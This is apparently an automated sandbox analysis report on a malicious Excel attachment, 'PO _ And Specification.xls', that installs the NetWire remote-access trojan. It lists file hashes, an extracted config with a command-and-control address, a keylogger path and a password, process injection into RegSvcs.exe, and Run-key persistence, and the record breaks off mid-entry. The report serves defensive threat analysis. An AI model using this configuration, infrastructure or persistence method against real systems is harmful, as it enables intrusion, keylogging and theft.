Analysis
-
max time kernel
151s -
max time network
49s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
21-09-2022 10:15
Behavioral task
behavioral1
Sample
PO _ And Specification.xls
Resource
win7-20220901-en
General
-
Target
PO _ And Specification.xls
-
Size
102KB
-
MD5
f6431c9663214dc8c24689b22e2dd767
-
SHA1
4a2f9d7926ad24bbaf2b7a98878714e9e5261574
-
SHA256
c965edc69fe9ef5e9c50dc9cfd4540551005397a55b0547b381640819cf101e9
-
SHA512
1fce426cbc52d12d1365ee3873747b4466f94ca00b296001c5db204d2854f4367b09ba584842652796e2908480b98aa17c4b3a9794ecf23255eafe55772f6589
-
SSDEEP
3072:7k3hOdsylKlgryzc4bNhZFGzE+cL2knAr9pWkmanzr0O8pFKdshErlsDB:7k3hOdsylKlgryzc4bNhZF+E+W2knAr
Malware Config
Extracted
netwire
37.0.14.206:3384
-
activex_autorun
false
-
copy_executable
true
-
delete_original
false
-
host_id
HostId-%Rand%
-
install_path
%AppData%\Install\Host.exe
-
keylogger_dir
%AppData%\Logs\
-
lock_executable
true
-
offline_keylogger
true
-
password
Password234
-
registry_autorun
false
-
use_mutex
false
Signatures
-
NetWire RAT payload 36 IoCs
Processes:
resource yara_rule behavioral1/memory/1940-96-0x0000000000320000-0x0000000000913000-memory.dmp netwire behavioral1/memory/1940-97-0x000000000032242D-mapping.dmp netwire behavioral1/memory/1940-101-0x0000000000320000-0x0000000000913000-memory.dmp netwire behavioral1/memory/1940-103-0x0000000000320000-0x0000000000913000-memory.dmp netwire behavioral1/memory/1128-121-0x00000000003E0000-0x0000000000A8F000-memory.dmp netwire behavioral1/memory/1128-122-0x00000000003E242D-mapping.dmp netwire behavioral1/memory/1128-126-0x00000000003E0000-0x0000000000A8F000-memory.dmp netwire behavioral1/memory/1128-131-0x00000000003E0000-0x0000000000A8F000-memory.dmp netwire behavioral1/memory/1316-145-0x000000000022242D-mapping.dmp netwire behavioral1/memory/1316-144-0x0000000000220000-0x0000000000879000-memory.dmp netwire behavioral1/memory/1316-149-0x0000000000220000-0x0000000000879000-memory.dmp netwire behavioral1/memory/1316-154-0x0000000000220000-0x0000000000879000-memory.dmp netwire behavioral1/memory/1016-167-0x00000000003E0000-0x0000000000AB5000-memory.dmp netwire behavioral1/memory/1016-168-0x00000000003E242D-mapping.dmp netwire behavioral1/memory/1016-172-0x00000000003E0000-0x0000000000AB5000-memory.dmp netwire behavioral1/memory/1016-179-0x00000000003E0000-0x0000000000AB5000-memory.dmp netwire behavioral1/memory/1808-190-0x00000000003C0000-0x0000000000881000-memory.dmp netwire behavioral1/memory/1808-191-0x00000000003C242D-mapping.dmp netwire behavioral1/memory/1808-195-0x00000000003C0000-0x0000000000881000-memory.dmp netwire behavioral1/memory/1808-200-0x00000000003C0000-0x0000000000881000-memory.dmp netwire behavioral1/memory/1260-213-0x000000000033242D-mapping.dmp netwire behavioral1/memory/1260-222-0x0000000000330000-0x0000000000989000-memory.dmp netwire behavioral1/memory/1540-236-0x000000000036242D-mapping.dmp netwire behavioral1/memory/1540-243-0x0000000000360000-0x0000000000A54000-memory.dmp netwire behavioral1/memory/1232-252-0x00000000001F242D-mapping.dmp netwire behavioral1/memory/1232-256-0x00000000001F0000-0x000000000071C000-memory.dmp netwire behavioral1/memory/1192-266-0x00000000003A242D-mapping.dmp netwire behavioral1/memory/1192-271-0x00000000003A0000-0x00000000008BB000-memory.dmp netwire behavioral1/memory/2000-280-0x000000000041242D-mapping.dmp netwire behavioral1/memory/2000-285-0x0000000000410000-0x0000000000A8C000-memory.dmp netwire behavioral1/memory/904-294-0x00000000002F242D-mapping.dmp netwire behavioral1/memory/904-299-0x00000000002F0000-0x0000000000845000-memory.dmp netwire behavioral1/memory/836-308-0x000000000033242D-mapping.dmp netwire behavioral1/memory/836-313-0x0000000000330000-0x0000000000808000-memory.dmp netwire behavioral1/memory/1068-322-0x000000000049242D-mapping.dmp netwire behavioral1/memory/1068-327-0x0000000000490000-0x0000000000BC9000-memory.dmp netwire -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
certutil.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1764 2028 certutil.exe EXCEL.EXE -
Downloads MZ/PE file
-
Executes dropped EXE 41 IoCs
Processes:
WinUpdate.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifRegSvcs.exeHost.exevoggchu.pifpid process 1888 WinUpdate.exe 436 voggchu.pif 1940 RegSvcs.exe 1596 Host.exe 1632 voggchu.pif 1128 RegSvcs.exe 2020 Host.exe 836 voggchu.pif 1316 RegSvcs.exe 2036 Host.exe 636 voggchu.pif 1016 RegSvcs.exe 1084 Host.exe 1632 voggchu.pif 1808 RegSvcs.exe 1936 Host.exe 836 voggchu.pif 1260 RegSvcs.exe 1900 Host.exe 896 voggchu.pif 1540 RegSvcs.exe 1936 Host.exe 1876 voggchu.pif 1232 RegSvcs.exe 1624 Host.exe 764 voggchu.pif 1192 RegSvcs.exe 1188 Host.exe 1128 voggchu.pif 2000 RegSvcs.exe 1068 Host.exe 1364 voggchu.pif 904 RegSvcs.exe 1592 Host.exe 280 voggchu.pif 836 RegSvcs.exe 840 Host.exe 1908 voggchu.pif 1068 RegSvcs.exe 1084 Host.exe 1668 voggchu.pif -
Loads dropped DLL 44 IoCs
Processes:
EXCEL.EXEWinUpdate.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exevoggchu.pifRegSvcs.exeWScript.exepid process 2028 EXCEL.EXE 1888 WinUpdate.exe 1888 WinUpdate.exe 1888 WinUpdate.exe 1888 WinUpdate.exe 436 voggchu.pif 1940 RegSvcs.exe 1732 WScript.exe 1632 voggchu.pif 1128 RegSvcs.exe 792 WScript.exe 836 voggchu.pif 1316 RegSvcs.exe 1776 WScript.exe 636 voggchu.pif 1016 RegSvcs.exe 1192 WScript.exe 1632 voggchu.pif 1808 RegSvcs.exe 1952 WScript.exe 836 voggchu.pif 1260 RegSvcs.exe 1212 WScript.exe 896 voggchu.pif 1540 RegSvcs.exe 1620 WScript.exe 1876 voggchu.pif 1232 RegSvcs.exe 1360 WScript.exe 764 voggchu.pif 1192 RegSvcs.exe 1616 WScript.exe 1128 voggchu.pif 2000 RegSvcs.exe 1076 WScript.exe 1364 voggchu.pif 904 RegSvcs.exe 1632 WScript.exe 280 voggchu.pif 836 RegSvcs.exe 1500 WScript.exe 1908 voggchu.pif 1068 RegSvcs.exe 1628 WScript.exe -
Adds Run key to start application 2 TTPs 28 IoCs
Processes:
voggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run voggchu.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\10_45\\voggchu.pif C:\\Users\\Admin\\AppData\\Roaming\\10_45\\bdtfjhrh.onv" voggchu.pif -
Suspicious use of SetThreadContext 13 IoCs
Processes:
voggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifvoggchu.pifdescription pid process target process PID 436 set thread context of 1940 436 voggchu.pif RegSvcs.exe PID 1632 set thread context of 1128 1632 voggchu.pif RegSvcs.exe PID 836 set thread context of 1316 836 voggchu.pif RegSvcs.exe PID 636 set thread context of 1016 636 voggchu.pif RegSvcs.exe PID 1632 set thread context of 1808 1632 voggchu.pif RegSvcs.exe PID 836 set thread context of 1260 836 voggchu.pif RegSvcs.exe PID 896 set thread context of 1540 896 voggchu.pif RegSvcs.exe PID 1876 set thread context of 1232 1876 voggchu.pif RegSvcs.exe PID 764 set thread context of 1192 764 voggchu.pif RegSvcs.exe PID 1128 set thread context of 2000 1128 voggchu.pif RegSvcs.exe PID 1364 set thread context of 904 1364 voggchu.pif RegSvcs.exe PID 280 set thread context of 836 280 voggchu.pif RegSvcs.exe PID 1908 set thread context of 1068 1908 voggchu.pif RegSvcs.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE -
Modifies registry class 64 IoCs
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = 